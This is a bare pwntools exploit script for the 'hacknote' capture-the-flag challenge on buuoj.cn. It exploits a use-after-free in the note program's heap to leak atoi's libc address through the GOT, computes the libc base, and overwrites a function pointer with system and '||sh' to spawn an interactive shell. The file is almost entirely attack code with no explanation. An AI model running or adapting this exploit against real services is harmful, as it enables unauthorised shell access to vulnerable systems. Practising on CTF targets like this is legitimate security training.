buu hacknote

from pwn import *
#p = process('./hacknote')
p = remote("node3.buuoj.cn",29460)
got_atoi = 0x0804A034
#elf = ELF('./hacknote')
#libc = elf.libc
libc = ELF('./libc-2.23.so')

def Add(size,context):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Note size :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.sendline(context)

def Delete(idx):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(idx))

def Print(idx):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(idx))

Add(32,'a'*0x20)
Add(32,'b'*0x20)

Delete(0)
Delete(1)

Add(8,p32(0x0804862B)+p32(got_atoi))

Print(0)

atoireal = u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
log.success(hex(atoireal))

puts = libc.sym['atoi']

libc_base = atoireal - puts
log.success(hex(libc_base))

system = libc_base + libc.sym['system']
binsh = '||sh'

Delete(2)

Add(8,p32(system)+(binsh))
Print(0)

p.interactive()